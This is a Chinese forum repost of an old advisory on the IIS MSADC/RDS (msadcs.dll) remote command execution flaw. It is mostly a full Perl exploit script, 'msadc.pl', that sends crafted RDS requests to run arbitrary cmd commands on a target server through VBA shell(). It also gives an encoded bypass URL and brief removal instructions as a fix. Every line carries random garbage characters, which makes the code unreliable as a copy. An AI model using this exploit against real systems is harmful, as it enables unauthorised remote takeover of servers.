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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)  M,6AD]  
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涉及程序: y%T'e(5Ed  
Microsoft NT server fY6&PuDf.  
KpK'?WhX7^  
描述: \C>I6{  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 b. t]p  
3W27R  
详细: sDwSEg>#B  
如果你没有时间读详细内容的话,就删除: t;? q#!uc  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 3XA^{&}  
有关的安全问题就没有了。 TQ>1u  
=izB :  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 &KD m5p  
{X<tUco  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ;=E3f^'s  
关于利用ODBC远程漏洞的描述,请参看: KQ2]VN"?_  
E.BMm/WH  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3)`}#`T  
 %RJW@~!  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 6x.#K9@q4  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B,A/ -B\  
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这里不再论述。 MbJV)*Q  
/]vg_&)=  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 19lx;^b  
Dui<$jl0b  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }t-{,0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 7.]xcJmt>'  
iaR'):TD  
rv\<Q-uQ8  
#将下面这段保存为txt文件,然后: "perl -x 文件名" <vPIC G)  
i|2Q}$3t2  
#!perl w1.KRe{M  
# 5jbd!t@L  
# MSADC/RDS 'usage' (aka exploit) script |D<~a(0  
# xvW+;3;  
# by rain.forest.puppy '\\J95*`  
# 0Uybh.dC  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ty "k  
# beta test and find errors! {=&pnu\  
^6obxwVG  
use Socket; use Getopt::Std; 0t<TZa]V  
getopts("e:vd:h:XR", \%args); x2 tx{Z  
bhFzu[B  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; o05) I2  
WSh+5](:  
if (!defined $args{h} && !defined $args{R}) { qf'uXH  
print qq~ J%%nv5y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 6W$k^<S  
-h <host> = host you want to scan (ip or domain) F+}MW/ra@  
-d <seconds> = delay between calls, default 1 second x0 3|L!n  
-X = dump Index Server path table, if available |)0kvf?  
-v = verbose zfv l<"Rv  
-e = external dictionary file for step 5 uWgY+T  
2vK{Yw   
Or a -R will resume a command session i)eub`uMy  
}7UE  
~; exit;} "y62Wo6m)  
SB]|y -su  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; P=V~/,>SZ!  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} rs<UWk<q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} z m_mLk$4H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `L0}^ |`9  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} +A/n <VH  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } b}axw+  
(?$}Vp  
if (!defined $args{R}){ $ret = &has_msadc; $n>.;CV  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 8+lM6O ~!  
<@JK;qm>S  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" RW%e%  
. "cmd /c "; 3d \bB !  
$in=<STDIN>; chomp $in; |r6<DEg  
$command="cmd /c " . $in ; X}_kLfP/9  
&;*jMu6  
if (defined $args{R}) {&load; exit;} &i6WVNGy  
z0doL b^!  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; vrQ/Yf:\B  
&try_btcustmr; E{1O<qO<  
m+,a=sR  
print "\nStep 2: Trying to make our own DSN..."; ECQ>VeP  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; <Ms,0YKx  
3~"G27,  
print "\nStep 3: Trying known DSNs..."; cgml^k\k^  
&known_dsn; c:4 i&|n  
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print "\nStep 4: Trying known .mdbs..."; TLw.rEN!;  
&known_mdb; 5%uLs}{\q  
~ /]u72?rP  
if (defined $args{e}){ L%I@HB9-Q0  
print "\nStep 5: Trying dictionary of DSN names..."; UoBmS 5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } *7`;{O  
3 /oVl 6  
print "Sorry Charley...maybe next time?\n"; ^jqQG+`?  
exit; Y!"LrkC  
'IKV%$k  
############################################################################## SW# 5px`  
SfEgmp-m  
sub sendraw { # ripped and modded from whisker %h(J+_"L6  
sleep($delay); # it's a DoS on the server! At least on mine... wtIXZU x  
my ($pstr)=@_; AEp|#H' >  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || )jm}h7,  
die("Socket problems\n"); !S$LRm\ '  
if(connect(S,pack "SnA4x8",2,80,$target)){ <"X\~  
select(S); $|=1; 7c5+8k3  
print $pstr; my @in=<S>; jgK8} C  
select(STDOUT); close(S); +?DP r  
return @in; MZl6 J  
} else { die("Can't connect...\n"); }} ^ yyL4{/  
!^:b?M  
############################################################################## 'QeCJ5p]  
,l1A]Wx  
sub make_header { # make the HTTP request 9jBP|I{xI  
my $msadc=<<EOT 0X !A'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 |eU{cK~e^  
User-Agent: ACTIVEDATA au1uFu-  
Host: $ip !EB<e5}8wK  
Content-Length: $clen F4`ud;1H  
Connection: Keep-Alive 4|ML#aRz  
_H} 8eU  
ADCClientVersion:01.06 P uYAoKG  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 e5W 8YNA  
W+k SL{0  
--!ADM!ROX!YOUR!WORLD! #R-l2OO^]  
Content-Type: application/x-varg A]c'`Nf  
Content-Length: $reqlen @FO= 0_;y  
(kCzz-_\  
EOT w&8N6gA14  
; $msadc=~s/\n/\r\n/g; .hPk}B/KV  
return $msadc;} =ss(~[  
Bi:%}8STH  
############################################################################## 62)Qr  
J2W#vFe\  
sub make_req { # make the RDS request lkl+o&D9  
my ($switch, $p1, $p2)=@_; td@I ;d2  
my $req=""; my $t1, $t2, $query, $dsn; 3k3-Ts  
/Ps/m!  
if ($switch==1){ # this is the btcustmr.mdb query }Vjg>"  
$query="Select * from Customers where City=" . make_shell(); @{n"/6t  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @komb IK  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} __LR!F]=i  
0wQ'~8  
elsif ($switch==2){ # this is general make table query X\sOeb:]  
$query="create table AZZ (B int, C varchar(10))"; m~c6b{F3Z-  
$dsn="$p1";} VC~1QPC9  
}w&W\g+E$  
elsif ($switch==3){ # this is general exploit table query w=JO$7  
$query="select * from AZZ where C=" . make_shell(); icS% ])3LF  
$dsn="$p1";} ?V&# nA  
r9sq3z|%  
elsif ($switch==4){ # attempt to hork file info from index server V7DMn@Ckw  
$query="select path from scope()"; =[5F~--Tf  
$dsn="Provider=MSIDXS;";} eO%w i.Q  
#$n >+ lc  
elsif ($switch==5){ # bad query Z{XF!pS%H  
$query="select"; ~/C9VR&  
$dsn="$p1";} 6Uh_&?\%  
DL<b)# h#  
$t1= make_unicode($query); ,! b9  
$t2= make_unicode($dsn); #w]UP#^io  
$req = "\x02\x00\x03\x00"; y Ny,$1  
$req.= "\x08\x00" . pack ("S1", length($t1)); H. o=4[  
$req.= "\x00\x00" . $t1 ; BLaF++Fop  
$req.= "\x08\x00" . pack ("S1", length($t2)); 8=TM _  
$req.= "\x00\x00" . $t2 ; W2>VgMR [  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; }B1f_T  
return $req;} D`c&Q4$:  
o{]2W `0r  
############################################################################## Y[sBVz'j5  
+-2W{lX  
sub make_shell { # this makes the shell() statement )>"|<h.2]  
return "'|shell(\"$command\")|'";} " l;=jk]  
8f`r!/j  
############################################################################## ;}B6`v  
2y`X)  
sub make_unicode { # quick little function to convert to unicode pG&#xRk  
my ($in)=@_; my $out; WQiIS0BJ *  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } eL" +_lW  
return $out;} h~`^H9?M  
mE"(d*fe'  
############################################################################## u(W>HVEG  
|1%eo.  
sub rdo_success { # checks for RDO return success (this is kludge) PRal>s&f  
my (@in) = @_; my $base=content_start(@in); ls({{34NF  
if($in[$base]=~/multipart\/mixed/){ e+~@"^|  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]WYddiF  
return 0;} `c)[aP{vN  
#J'V,_ wH  
############################################################################## !&adO,jN+=  
7u`:e,'  
sub make_dsn { # this makes a DSN for us )tm%0z7R  
my @drives=("c","d","e","f"); hsAk7KC  
print "\nMaking DSN: "; )vD:  
foreach $drive (@drives) { Z~AgZM R  
print "$drive: "; qDS~|<Y5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +[Izz~ _p  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H krhd   
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); M 4E|^p=5  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; uCx6/ n6'  
return 0 if $2 eq "404"; # not found/doesn't exist rL,kDSLs  
if($2 eq "200") { Z&|Dp*Z  
foreach $line (@results) { GJ\bZ"vDo  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} z2iWr  
} return 0;} 6 \?GY  
Q k2*=BVh  
############################################################################## .6c Bx  
2)Q%lEm`SP  
sub verify_exists { fQxlYD'peb  
my ($page)=@_; l0PXU)>C  
my @results=sendraw("GET $page HTTP/1.0\n\n"); SveP:uJA[  
return $results[0];} _"t"orD6  
0 s@>e  
############################################################################## CG ,H  
W 'PW;.,  
sub try_btcustmr { uHuL9Q^  
my @drives=("c","d","e","f"); Am<){&XT ]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RF [81/w]  
V#+M lN  
foreach $dir (@dirs) {  z $iI  
print "$dir -> "; # fun status so you can see progress 79 \SbB  
foreach $drive (@drives) { h ^Wm03w  
print "$drive: "; # ditto PKZMuEEy,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; .7HEI;4  
$reqlenlen=length( "$reqlen" ); '#Q\p6G&_  
$clen= 206 + $reqlenlen + $reqlen; B$G9#G6pZ  
7yal  T.  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); m0*_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Z*Fn2I4  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} C;YtMY:  
_4LDzVjNRe  
############################################################################## c3)6{  
m[%P3  
sub odbc_error { Dc3bG@K*G  
my (@in)=@_; my $base; km,@yU  
my $base = content_start(@in); +hIMfhF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this gb26Y!7%  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; wc;^C?PX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; S Q`KR'E  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Np?/r}  
return $in[$base+4].$in[$base+5].$in[$base+6];} *X 2dS {  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,[u.5vC  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . lGEfI&1%!  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 17lc5#^L  
Aj+0R?9tG  
############################################################################## : n\D  
#VuiY  
sub verbose { m,SWG[~  
my ($in)=@_; (wp?tMN5#  
return if !$verbose; bKQ-PM&I/t  
print STDOUT "\n$in\n";} fK4NmdTV  
\O\veB8  
############################################################################## R}$A>)%dx  
~g&Gi)je  
sub save { A[Vhy;xz  
my ($p1, $p2, $p3, $p4)=@_; 3 Ol`i$  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 9j1 tcT  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 6~Y`<#X5J  
close OUT;} 0T:ZWRjH  
vl5r~F  
############################################################################## mam(h{f$  
Ns-3\~QSi  
sub load { F"a31`L>H  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; mk +BeK  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); {&h=  
@p=<IN>; close(IN); @qB1:==@7  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); gal.<SVW  
$target= inet_aton($ip) || die("inet_aton problems"); $u{ 8wF/)  
print "Resuming to $ip ..."; ^S^7 u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ig?Tj4kD  
if($p[1]==1) { 'In qa;TQz  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; _UUp+Hz  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; k5)e7Lb(  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); M9wj };vy  
if (rdo_success(@results)){print "Success!\n";} D?P1\<A~  
else { print "failed\n"; verbose(odbc_error(@results));}} R1\$}ep^  
elsif ($p[1]==3){ ,8@U-7f,  
if(run_query("$p[3]")){ J,^eq@(  
print "Success!\n";} else { print "failed\n"; }} ysQ8==`38i  
elsif ($p[1]==4){ 1ogh8%  
if(run_query($drvst . "$p[3]")){ mYqRN1%  
print "Success!\n"; } else { print "failed\n"; }} qjd8Q  
exit;} t 5  
#'Lt_Yf!  
############################################################################## =]F15:%Z q  
\B D'"  
sub create_table { qGKQrb,K  
my ($in)=@_; FrD,)Ad8Q  
$reqlen=length( make_req(2,$in,"") ) - 28; ahm@ +/2  
$reqlenlen=length( "$reqlen" ); 2~SjRIpUw  
$clen= 206 + $reqlenlen + $reqlen; j!QP>AM|`  
my @results=sendraw(make_header() . make_req(2,$in,"")); vq*)2.  
return 1 if rdo_success(@results); }_o!f V  
my $temp= odbc_error(@results); verbose($temp); >-YWq  
return 1 if $temp=~/Table 'AZZ' already exists/; ,a?$F1Z-  
return 0;} "e~"-B7(\Y  
ZYD3[" ~x  
############################################################################## OcGHMGdn  
w1P8p>vA1  
sub known_dsn { r2 o-/$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go N;d@)h(N!  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", *27*&&=)H  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", m' suAj0  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;&G8e* bM2  
cakb.Q  
foreach $dSn (@dsns) { ,-{ 2ai_  
print "."; $@:z4S(  
next if (!is_access("DSN=$dSn")); 7nL3+Pq  
if(create_table("DSN=$dSn")){ b<mxf\b  
print "$dSn successful\n"; /=2  
if(run_query("DSN=$dSn")){ Qd$!?h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j{u! /FD  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1?bX$$y l;  
 *$o{+YP  
############################################################################## xYCX}bksh  
N HL{.8L{  
sub is_access { ['rqz1DL5  
my ($in)=@_; VwV`tKit  
$reqlen=length( make_req(5,$in,"") ) - 28; -964#>n[  
$reqlenlen=length( "$reqlen" ); v(2|n}qY  
$clen= 206 + $reqlenlen + $reqlen; E>3fk  
my @results=sendraw(make_header() . make_req(5,$in,"")); V_"K  
my $temp= odbc_error(@results); B!cg)Y?.bd  
verbose($temp); return 1 if ($temp=~/Microsoft Access/);  ?[G!6  
return 0;} Ii9@ j1-g  
;n,@[v  
############################################################################## 2v6QUf  
4_w+NI,;  
sub run_query { '9MtIcNb  
my ($in)=@_; >-{)wk;1&  
$reqlen=length( make_req(3,$in,"") ) - 28; Q}MS $[y  
$reqlenlen=length( "$reqlen" ); |Skk1 #  
$clen= 206 + $reqlenlen + $reqlen; yEe4{j$  
my @results=sendraw(make_header() . make_req(3,$in,"")); R1DXi  
return 1 if rdo_success(@results); U{2UKD@PM  
my $temp= odbc_error(@results); verbose($temp); 1wpeYn7>W  
return 0;} {D jz']  
o(I[_oUy\  
############################################################################## @P^8?!i+  
0=r.I}x  
sub known_mdb { jK^'s6i#  
my @drives=("c","d","e","f","g"); =-c"~4  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >}*i Qq  
my $dir, $drive, $mdb; pGy(JvMw"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; u8Au `  
idf~"a  
# this is sparse, because I don't know of many ^rc!X]C9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", !v2D 18(  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", q.OkZI0n   
"\\system32\\certmdb.mdb", Et=N`k _gO  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% FSqS]6b3  
. ` OdnLGy  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", I =t{ u;  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Zq--m/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Ny>tJ~I  
"\\cfusion\\cfapps\\security\\realm_.mdb", 4 }l,F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", r2T-=XWB  
"\\cfusion\\database\\cfexamples.mdb", / W}Za&]  
"\\cfusion\\database\\cfsnippets.mdb", 0.+"K}  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", uOqWMRsoi  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", rZDlPp>BPZ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", %/:{x()G  
"\\cfusion\\database\\smpolicy.mdb", Z%Nl<i  
"\\cfusion\\database\cypress.mdb", L!7*U.+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qF{u+Ms  
"\\website\\cgi-win\\dbsample.mdb", 9'I I!  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Uu9\;f  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" @L8('8~d  
); #these are just <aR8fU  
foreach $drive (@drives) { ;K:)R_H  
foreach $dir (@dirs){ JU7EC~7|2c  
foreach $mdb (@sysmdbs) { "$? f&*  
print "."; ?#^_yd|<  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z4Nl{  6  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; bGvALz'  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ V@Z8t8  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; J3fcnI  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 'Pudy\Ab  
$-$^r;  
foreach $drive (@drives) { oXg KuR  
foreach $mdb (@mdbs) { 2B7X~t>8a  
print "."; jd$uOn.r  
if(create_table($drv . $drive . $dir . $mdb)){ :J-@+_J  
print "\n" . $drive . $dir . $mdb . " successful\n"; <h2WM (n  
if(run_query($drv . $drive . $dir . $mdb)){ o[Yxh%T  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Da!A1|"  
} else { print "Something's borked. Use verbose next time\n"; }}}} <LDVO'I0 !  
} gRuNC=sR  
A e&t#,)  
############################################################################## E ?(  
5Cd>p<  
sub hork_idx { $ +h~VC  
print "\nAttempting to dump Index Server tables...\n"; Vh:%e24Z  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \cdNyVY  
$reqlen=length( make_req(4,"","") ) - 28; %_wX9Z T  
$reqlenlen=length( "$reqlen" ); 2l#Ogn`k  
$clen= 206 + $reqlenlen + $reqlen; MJJy mi'b  
my @results=sendraw2(make_header() . make_req(4,"","")); SUXRWFl  
if (rdo_success(@results)){ ewqfs/  
my $max=@results; my $c; my %d; ^0 R.U+?+  
for($c=19; $c<$max; $c++){ <8[BB7  
$results[$c]=~s/\x00//g; BhkJ >4#  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; .N8AkQ(Ok  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <jT6|2'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; K*Zf^g m  
$d{"$1$2"}="";} #CoJ S[t  
foreach $c (keys %d){ print "$c\n"; } %^m6Q!  
} else {print "Index server doesn't seem to be installed.\n"; }} S*6P=O*  
1Tf"<D p  
############################################################################## pGz-5afL  
\~1M\gZP  
sub dsn_dict { w: ~66 TCI  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); A1:<-TF6^p  
while(<IN>){ , gk49z9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 7_taqcj  
next if (!is_access("DSN=$dSn")); QF(.fq8, U  
if(create_table("DSN=$dSn")){ |k:MXI  
print "$dSn successful\n"; Qj? +R F6(  
if(run_query("DSN=$dSn")){ 3qPj+@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { j0!Z 20  
print "Something's borked. Use verbose next time\n";}}} m]BxGwT=m  
print "\n"; close(IN);} A^2VH$j]+  
"W;Gv I  
############################################################################## Qwb=N  
*D1 ^Se  
sub sendraw2 { # ripped and modded from whisker mc;Z#"kf  
sleep($delay); # it's a DoS on the server! At least on mine... - *!R  
my ($pstr)=@_; y~An'+yBa  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v' 7,(.E  
die("Socket problems\n");  k'X v*U  
if(connect(S,pack "SnA4x8",2,80,$target)){ ziR}  
print "Connected. Getting data"; kt.z,<w5O  
open(OUT,">raw.out"); my @in; W~+ ] 7<  
select(S); $|=1; print $pstr; XKB)++Q=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} tT87TmNsA  
close(OUT); select(STDOUT); close(S); return @in; 3>%rm%ffE  
} else { die("Can't connect...\n"); }} V} Y %9V  
7y:%^sl  
############################################################################## .`& ($W  
V*rAZ0  
sub content_start { # this will take in the server headers 1u7Kc'.xc  
my (@in)=@_; my $c; "qUUH4mR`  
for ($c=1;$c<500;$c++) { bB'iK4  
if($in[$c] =~/^\x0d\x0a/){ s@K)RhTY  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } eKNZ?!c=  
else { return $c+1; }}} :}0y[qc3  
return -1;} # it should never get here actually jKZJ0`06q  
"tB"C6b  
############################################################################## BB5(=n+  
.t''(0_kC  
sub funky { `;4P?!WG  
my (@in)=@_; my $error=odbc_error(@in); Ro$'|}(+A  
if($error=~/ADO could not find the specified provider/){ 4G0Er?D   
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $Zp\^cIE+  
exit;} z9pv|  
if($error=~/A Handler is required/){ bl NJ  
print "\nServer has custom handler filters (they most likely are patched)\n"; )#z c$D^U  
exit;} okJ+Yl.[?7  
if($error=~/specified Handler has denied Access/){ %Kx:'m%U  
print "\nServer has custom handler filters (they most likely are patched)\n"; {^2``NYM_  
exit;}} eWSA  
" l vPge  
############################################################################## [ !/u,  
.5'M^  
sub has_msadc { \ni?_F(Y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); A;n3""  
my $base=content_start(@results); 9F)+p7VJq  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); "hi?/B#d  
return 0;} -jdS8n4  
L\}o(P(  
######################## .'JO7of  
_Q,`Qn@|BD  
fqA\Rp6Z  
解决方案: j'FSd*5m  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;rYL\`6L  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 "C%<R  
5H#f;L\k  
拿出来充数 哈哈
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